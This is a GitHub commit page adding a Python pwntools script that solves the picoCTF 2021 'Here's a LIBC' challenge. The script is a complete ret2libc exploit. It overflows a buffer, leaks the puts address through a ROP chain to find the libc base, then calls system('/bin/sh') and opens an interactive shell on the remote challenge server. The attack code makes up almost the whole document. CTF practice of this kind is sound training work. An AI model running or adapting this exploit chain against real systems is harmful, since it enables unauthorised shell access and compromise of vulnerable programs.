Skip to content

Commit 29c979d

Browse files
finish here's a libc solution
1 parent ca6e100 commit 29c979d

File tree

3 files changed

+42
-0
lines changed

3 files changed

+42
-0
lines changed

Diff for: picoCTF/2021/heres_a_libc.py

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
from pwn import *
2+
padding = b'@'*(0x80+8)
3+
#system_addr = p64(0x7ffff7a334e0)
4+
#exit_addr = p64(0x7ffff7a271d0)
5+
#bin_sh_addr = p64(0x7ffff79e4000 + 0x1b40fa)
6+
# first, leak libc base
7+
r = remote('mercury.picoctf.net', 42072)
8+
#r = process('./vuln_patched')
9+
#gdb.attach(r)
10+
r.recvline() # banner
11+
pop_rdi_gadget = p64(0x0000000000400913)
12+
ret_gadget = p64(0x000000000040052e)
13+
e = ELF('./heres_a_libc/vuln')
14+
puts_got = p64(e.got['puts'])
15+
puts_plt = p64(e.plt['puts'])
16+
libc = ELF('./heres_a_libc/libc.so.6')
17+
libc.address = 0x00
18+
19+
# leak
20+
do_stuff_addr = p64(0x004006d8)
21+
r.sendline(padding + pop_rdi_gadget + puts_got + puts_plt + do_stuff_addr)
22+
r.recvline()
23+
puts_addr = r.recvline(keepends=False)
24+
while len(puts_addr) < 8:
25+
puts_addr += b'\x00'
26+
puts_addr = u64(puts_addr)
27+
print('puts address =', hex(puts_addr))
28+
libc.address = puts_addr - libc.symbols['puts']
29+
print('libc base address =', hex(libc.address))
30+
#r = remote('mercury.picoctf.net', 42072)
31+
#r = process('./vuln_patched')
32+
# maybe @ (ascii 0x40) instead of 'a' (ascii 0x61) will help with alignment?
33+
bin_sh_addr = p64(next(libc.search(b'/bin/sh\x00')))
34+
system_addr = p64(libc.symbols['system'])
35+
print(bin_sh_addr, system_addr)
36+
payload = padding + pop_rdi_gadget + bin_sh_addr + ret_gadget + system_addr
37+
#with open('payload', 'wb') as f:
38+
# f.write(payload+b'\n')
39+
#gdb.attach(r)
40+
r.sendline(payload)
41+
r.interactive()
42+

Diff for: picoCTF/2021/heres_a_libc/libc.so.6

17.1 MB
Binary file not shown.

Diff for: picoCTF/2021/heres_a_libc/vuln

8.36 KB
Binary file not shown.

0 commit comments

Comments
 (0)